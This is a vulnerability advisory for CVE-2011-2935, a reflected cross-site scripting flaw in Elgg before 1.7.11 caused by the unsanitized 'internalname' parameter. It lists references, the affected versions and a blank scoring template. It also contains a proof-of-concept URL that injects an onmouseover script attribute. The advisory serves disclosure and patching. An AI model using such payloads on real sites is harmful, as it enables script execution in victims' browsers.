GHSA-mcfm-j5g6-w26f

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    GHSA-mcfm-j5g6-w26f

    Published: 22 Apr 2022Last Modified: 12 Jan 2024
    Aliases:
    CVE-2011-2935

    Summary: Elgg Reflected XSS Vulnerability

    Details: ### VULNERABILITY DESCRIPTION The `internalname` parameter is not properly sanitized, which allows attacker to conduct Cross Site Scripting attack. This may allow an attacker to create a specially crafted URL that would execute arbitrary script code in a victim's browser ### PROOF-OF-CONCEPT/EXPLOIT ```http http://localhost/pg/embed/media?internalname=%20%22onmouseover=%22alert%28/XSS/%29%22style=%22width:3000px!important;height:3000px!important;z-index:999999;position:absolute!important;left:0;top:0;%22%20x=%22 ```

    References: https://nvd.nist.gov/vuln/detail/CVE-2011-2935, https://github.com/Elgg/Elgg/issues/3544, https://github.com/Elgg/Elgg/commit/2843b4f846874d434a2403ac1f27e41035b45e04, https://github.com/Elgg/Elgg, https://oss-security.openwall.narkive.com/1UH3NYx8/cve-request-elgg-1-7-10-multiple-vulnerabilities, https://security-tracker.debian.org/tracker/CVE-2011-2935, https://web.archive.org/web/20110907122607/http://blog.elgg.org/pg/blog/brett/read/189/elgg-1711-released, http://yehg.net/lab/pr0js/advisories/[elgg_1710]_xss_sqlin

    Affected packages

    Package

    Name: elgg/elgg

    Purl: pkg:composer/elgg/elgg

    Affected ranges

    Type: ECOSYSTEM

    Events:

    Introduced- 0
    Fixed -1.7.11

    Affected versions

    Common Vulnerability Scoring System

    Attack Vector
    Network
    Adjacent
    Local
    Physical
    Privileges Required
    None
    Low
    High
    User Interaction
    None
    Required
    Scope
    Unchanged
    Changed
    Confidentiality
    None
    Low
    High
    Integrity
    None
    Low
    High
    Availability
    None
    Low
    High
    GHSA-mcfm-j5g6-w26f | CVE-DB